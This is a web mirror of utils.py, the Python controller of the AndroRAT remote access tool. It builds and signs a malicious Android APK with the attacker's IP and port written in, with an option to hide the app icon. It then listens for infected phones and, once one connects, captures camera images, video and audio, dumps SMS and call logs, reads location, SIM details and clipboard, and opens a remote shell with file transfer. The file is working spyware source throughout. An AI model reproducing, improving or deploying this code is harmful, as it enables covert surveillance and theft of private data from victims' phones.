Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
karma9874
GitHub Repository: karma9874/AndroRAT
Path: blob/master/utils.py
2427 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
4
import sys
5
import os
6
import base64
7
import time
8
import binascii
9
import select
10
import pathlib
11
import platform
12
import re
13
from subprocess import PIPE, run
14
import socket
15
import threading
16
import itertools
17
import queue
18
19
sys.stdout.reconfigure(encoding='utf-8')
20
21
banner = """\033[1m\033[91m
22
_ _____ _______
23
/\ | | | __ \ /\|__ __|
24
/ \ _ __ __| |_ __ ___ | |__) | / \ | |
25
/ /\ \ | '_ \ / _` | '__/ _ \| _ / / /\ \ | |
26
/ ____ \| | | | (_| | | | (_) | | \ \ / ____ \| |
27
/_/ \_\_| |_|\__,_|_| \___/|_| \_\/_/ \_\_|
28
29
\033[93m- By karma9874
30
"""
31
32
pattern = '\"(\\d+\\.\\d+).*\"'
33
34
def stdOutput(type_=None):
35
if type_=="error":col="31m";str="ERROR"
36
if type_=="warning":col="33m";str="WARNING"
37
if type_=="success":col="32m";str="SUCCESS"
38
if type_ == "info":return "\033[1m[\033[33m\033[0m\033[1m\033[33mINFO\033[0m\033[1m] "
39
message = "\033[1m[\033[31m\033[0m\033[1m\033["+col+str+"\033[0m\033[1m]\033[0m "
40
return message
41
42
43
def animate(message):
44
chars = "/—\\|"
45
for char in chars:
46
sys.stdout.write("\r"+stdOutput("info")+"\033[1m"+message+"\033[31m"+char+"\033[0m")
47
time.sleep(.1)
48
sys.stdout.flush()
49
50
def clearDirec():
51
if(platform.system() == 'Windows'):
52
clear = lambda: os.system('cls')
53
direc = "\\"
54
else:
55
clear = lambda: os.system('clear')
56
direc = "/"
57
return clear,direc
58
59
clear,direc = clearDirec()
60
if not os.path.isdir(os.getcwd()+direc+"Dumps"):
61
os.makedirs("Dumps")
62
63
def is_valid_ip(ip):
64
m = re.match(r"^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$", ip)
65
return bool(m) and all(map(lambda n: 0 <= int(n) <= 255, m.groups()))
66
67
def is_valid_port(port):
68
i = 1 if port.isdigit() and len(port)>1 else 0
69
return i
70
71
def execute(command):
72
return run(command, stdout=PIPE, stderr=PIPE, universal_newlines=True, shell=True)
73
74
def executeCMD(command,queue):
75
result = run(command, stdout=PIPE, stderr=PIPE, universal_newlines=True, shell=True)
76
queue.put(result)
77
return result
78
79
80
def getpwd(name):
81
return os.getcwd()+direc+name;
82
83
def help():
84
helper="""
85
Usage:
86
deviceInfo --> returns basic info of the device
87
camList --> returns cameraID
88
takepic [cameraID] --> Takes picture from camera
89
startVideo [cameraID] --> starts recording the video
90
stopVideo --> stop recording the video and return the video file
91
startAudio --> starts recording the audio
92
stopAudio --> stop recording the audio
93
getSMS [inbox|sent] --> returns inbox sms or sent sms in a file
94
getCallLogs --> returns call logs in a file
95
shell --> starts a interactive shell of the device
96
vibrate [number_of_times] --> vibrate the device number of time
97
getLocation --> return the current location of the device
98
getIP --> returns the ip of the device
99
getSimDetails --> returns the details of all sim of the device
100
clear --> clears the screen
101
getClipData --> return the current saved text from the clipboard
102
getMACAddress --> returns the mac address of the device
103
exit --> exit the interpreter
104
"""
105
print(helper)
106
107
def getImage(client):
108
print(stdOutput("info")+"\033[0mTaking Image")
109
timestr = time.strftime("%Y%m%d-%H%M%S")
110
flag=0
111
filename ="Dumps"+direc+"Image_"+timestr+'.jpg'
112
imageBuffer=recvall(client)
113
imageBuffer = imageBuffer.strip().replace("END123","").strip()
114
if imageBuffer=="":
115
print(stdOutput("error")+"Unable to connect to the Camera\n")
116
return
117
with open(filename,'wb') as img:
118
try:
119
imgdata = base64.b64decode(imageBuffer)
120
img.write(imgdata)
121
print(stdOutput("success")+"Succesfully Saved in \033[1m\033[32m"+getpwd(filename)+"\n")
122
except binascii.Error as e:
123
flag=1
124
print(stdOutput("error")+"Not able to decode the Image\n")
125
if flag == 1:
126
os.remove(filename)
127
128
def readSMS(client,data):
129
print(stdOutput("info")+"\033[0mGetting "+data+" SMS")
130
msg = "start"
131
timestr = time.strftime("%Y%m%d-%H%M%S")
132
filename = "Dumps"+direc+data+"_"+timestr+'.txt'
133
flag =0
134
with open(filename, 'w',errors="ignore", encoding="utf-8") as txt:
135
msg = recvall(client)
136
try:
137
txt.write(msg)
138
print(stdOutput("success")+"Succesfully Saved in \033[1m\033[32m"+getpwd(filename)+"\n")
139
except UnicodeDecodeError:
140
flag = 1
141
print(stdOutput("error")+"Unable to decode the SMS\n")
142
if flag == 1:
143
os.remove(filename)
144
145
def getFile(filename,ext,data):
146
fileData = "Dumps"+direc+filename+"."+ext
147
flag=0
148
with open(fileData, 'wb') as file:
149
try:
150
rawFile = base64.b64decode(data)
151
file.write(rawFile)
152
print(stdOutput("success")+"Succesfully Downloaded in \033[1m\033[32m"+getpwd(fileData)+"\n")
153
except binascii.Error:
154
flag=1
155
print(stdOutput("error")+"Not able to decode the Audio File")
156
if flag == 1:
157
os.remove(filename)
158
159
def putFile(filename):
160
data = open(filename, "rb").read()
161
encoded = base64.b64encode(data)
162
return encoded
163
164
def shell(client):
165
msg = "start"
166
command = "ad"
167
while True:
168
msg = recvallShell(client)
169
if "getFile" in msg:
170
msg=" "
171
msg1 = recvall(client)
172
msg1 = msg1.replace("\nEND123\n","")
173
filedata = msg1.split("|_|")
174
getFile(filedata[0],filedata[1],filedata[2])
175
176
if "putFile" in msg:
177
msg=" "
178
sendingData=""
179
filename = command.split(" ")[1].strip()
180
file = pathlib.Path(filename)
181
if file.exists():
182
encoded_data = putFile(filename).decode("UTF-8")
183
filedata = filename.split(".")
184
sendingData+="putFile"+"<"+filedata[0]+"<"+filedata[1]+"<"+encoded_data+"END123\n"
185
client.send(sendingData.encode("UTF-8"))
186
print(stdOutput("success")+f"Succesfully Uploaded the file \033[32m{filedata[0]+'.'+filedata[1]} in /sdcard/temp/")
187
else:
188
print(stdOutput("error")+"File not exist")
189
190
if "Exiting" in msg:
191
print("\033[1m\033[33m----------Exiting Shell----------\n")
192
return
193
msg = msg.split("\n")
194
for i in msg[:-2]:
195
print(i)
196
print(" ")
197
command = input("\033[1m\033[36mandroid@shell:~$\033[0m \033[1m")
198
command = command+"\n"
199
if command.strip() == "clear":
200
client.send("test\n".encode("UTF-8"))
201
clear()
202
else:
203
client.send(command.encode("UTF-8"))
204
205
def getLocation(sock):
206
msg = "start"
207
while True:
208
msg = recvall(sock)
209
msg = msg.split("\n")
210
for i in msg[:-2]:
211
print(i)
212
if("END123" in msg):
213
return
214
print(" ")
215
216
def recvall(sock):
217
buff=""
218
data = ""
219
while "END123" not in data:
220
data = sock.recv(4096).decode("UTF-8","ignore")
221
buff+=data
222
return buff
223
224
225
def recvallShell(sock):
226
buff=""
227
data = ""
228
ready = select.select([sock], [], [], 3)
229
while "END123" not in data:
230
if ready[0]:
231
data = sock.recv(4096).decode("UTF-8","ignore")
232
buff+=data
233
else:
234
buff="bogus"
235
return buff
236
return buff
237
238
def stopAudio(client):
239
print(stdOutput("info")+"\033[0mDownloading Audio")
240
timestr = time.strftime("%Y%m%d-%H%M%S")
241
data= ""
242
flag =0
243
data=recvall(client)
244
data = data.strip().replace("END123","").strip()
245
filename = "Dumps"+direc+"Audio_"+timestr+".mp3"
246
with open(filename, 'wb') as audio:
247
try:
248
audioData = base64.b64decode(data)
249
audio.write(audioData)
250
print(stdOutput("success")+"Succesfully Saved in \033[1m\033[32m"+getpwd(filename))
251
except binascii.Error:
252
flag=1
253
print(stdOutput("error")+"Not able to decode the Audio File")
254
print(" ")
255
if flag == 1:
256
os.remove(filename)
257
258
259
def stopVideo(client):
260
print(stdOutput("info")+"\033[0mDownloading Video")
261
timestr = time.strftime("%Y%m%d-%H%M%S")
262
data= ""
263
flag=0
264
data=recvall(client)
265
data = data.strip().replace("END123","").strip()
266
filename = "Dumps"+direc+"Video_"+timestr+'.mp4'
267
with open(filename, 'wb') as video:
268
try:
269
videoData = base64.b64decode(data)
270
video.write(videoData)
271
print(stdOutput("success")+"Succesfully Saved in \033[1m\033[32m"+getpwd(filename))
272
except binascii.Error:
273
flag = 1
274
print(stdOutput("error")+"Not able to decode the Video File\n")
275
if flag == 1:
276
os.remove("Video_"+timestr+'.mp4')
277
278
def callLogs(client):
279
print(stdOutput("info")+"\033[0mGetting Call Logs")
280
msg = "start"
281
timestr = time.strftime("%Y%m%d-%H%M%S")
282
msg = recvall(client)
283
filename = "Dumps"+direc+"Call_Logs_"+timestr+'.txt'
284
if "No call logs" in msg:
285
msg.split("\n")
286
print(msg.replace("END123","").strip())
287
print(" ")
288
else:
289
with open(filename, 'w',errors="ignore", encoding="utf-8") as txt:
290
txt.write(msg)
291
txt.close()
292
print(stdOutput("success")+"Succesfully Saved in \033[1m\033[32m"+getpwd(filename)+"\033[0m")
293
if not os.path.getsize(filename):
294
os.remove(filename)
295
296
def get_shell(ip,port):
297
soc = socket.socket()
298
soc = socket.socket(type=socket.SOCK_STREAM)
299
try:
300
# Restart the TCP server on exit
301
soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
302
soc.bind((ip, int(port)))
303
except Exception as e:
304
print(stdOutput("error")+"\033[1m %s"%e);exit()
305
306
soc.listen(2)
307
print(banner)
308
while True:
309
que = queue.Queue()
310
t = threading.Thread(target=connection_checker,args=[soc,que])
311
t.daemon = True
312
t.start()
313
while t.is_alive(): animate("Waiting for Connections ")
314
t.join()
315
conn, addr = que.get()
316
clear()
317
print("\033[1m\033[33mGot connection from \033[31m"+"".join(str(addr))+"\033[0m")
318
print(" ")
319
while True:
320
msg = conn.recv(4024).decode("UTF-8")
321
if(msg.strip() == "IMAGE"):
322
getImage(conn)
323
elif("readSMS" in msg.strip()):
324
content = msg.strip().split(" ")
325
data = content[1]
326
readSMS(conn,data)
327
elif(msg.strip() == "SHELL"):
328
shell(conn)
329
elif(msg.strip() == "getLocation"):
330
getLocation(conn)
331
elif(msg.strip() == "stopVideo123"):
332
stopVideo(conn)
333
elif(msg.strip() == "stopAudio"):
334
stopAudio(conn)
335
elif(msg.strip() == "callLogs"):
336
callLogs(conn)
337
elif(msg.strip() == "help"):
338
help()
339
else:
340
print(stdOutput("error")+msg) if "Unknown Command" in msg else print("\033[1m"+msg) if "Hello there" in msg else print(msg)
341
message_to_send = input("\033[1m\033[36mInterpreter:/> \033[0m")+"\n"
342
conn.send(message_to_send.encode("UTF-8"))
343
if message_to_send.strip() == "exit":
344
print(" ")
345
print("\033[1m\033[32m\t (∗ ・‿・)ノ゛\033[0m")
346
sys.exit()
347
if(message_to_send.strip() == "clear"):clear()
348
349
350
def connection_checker(socket,queue):
351
conn, addr = socket.accept()
352
queue.put([conn,addr])
353
return conn,addr
354
355
356
def build(ip,port,output,ngrok=False,ng=None,icon=None):
357
editor = "Compiled_apk"+direc+"smali"+direc+"com"+direc+"example"+direc+"reverseshell2"+direc+"config.smali"
358
try:
359
file = open(editor,"r").readlines()
360
#Very much uncertaninity but cant think any other way to do it xD
361
file[18]=file[18][:21]+"\""+ip+"\""+"\n"
362
file[23]=file[23][:21]+"\""+port+"\""+"\n"
363
file[28]=file[28][:15]+" 0x0"+"\n" if icon else file[28][:15]+" 0x1"+"\n"
364
str_file="".join([str(elem) for elem in file])
365
open(editor,"w").write(str_file)
366
except Exception as e:
367
print(e)
368
sys.exit()
369
java_version = execute("java -version")
370
if java_version.returncode: print(stdOutput("error")+"Java not installed or found");exit()
371
#version_no = re.search(pattern, java_version.stderr).groups()[0]
372
# if float(version_no) > 1.8: print(stdOutput("error")+"Java 8 is required, Java version found "+version_no);exit()
373
print(stdOutput("info")+"\033[0mGenerating APK")
374
outFileName = output if output else "karma.apk"
375
que = queue.Queue()
376
t = threading.Thread(target=executeCMD,args=["java -jar Jar_utils/apktool.jar b Compiled_apk -o "+outFileName,que],)
377
t.start()
378
while t.is_alive(): animate("Building APK ")
379
t.join()
380
print(" ")
381
resOut = que.get()
382
if not resOut.returncode:
383
print(stdOutput("success")+"Successfully apk built in \033[1m\033[32m"+getpwd(outFileName)+"\033[0m")
384
print(stdOutput("info")+"\033[0mSigning the apk")
385
t = threading.Thread(target=executeCMD,args=["java -jar Jar_utils/sign.jar -a "+outFileName+" --overwrite",que],)
386
t.start()
387
while t.is_alive(): animate("Signing Apk ")
388
t.join()
389
print(" ")
390
resOut = que.get()
391
if not resOut.returncode:
392
print(stdOutput("success")+"Successfully signed the apk \033[1m\033[32m"+outFileName+"\033[0m")
393
if ngrok:
394
clear()
395
get_shell("0.0.0.0",8000) if not ng else get_shell("0.0.0.0",ng)
396
print(" ")
397
else:
398
print("\r"+resOut.stderr)
399
print(stdOutput("error")+"Signing Failed")
400
else:
401
print("\r"+resOut.stderr)
402
print(stdOutput("error")+"Building Failed")
403
404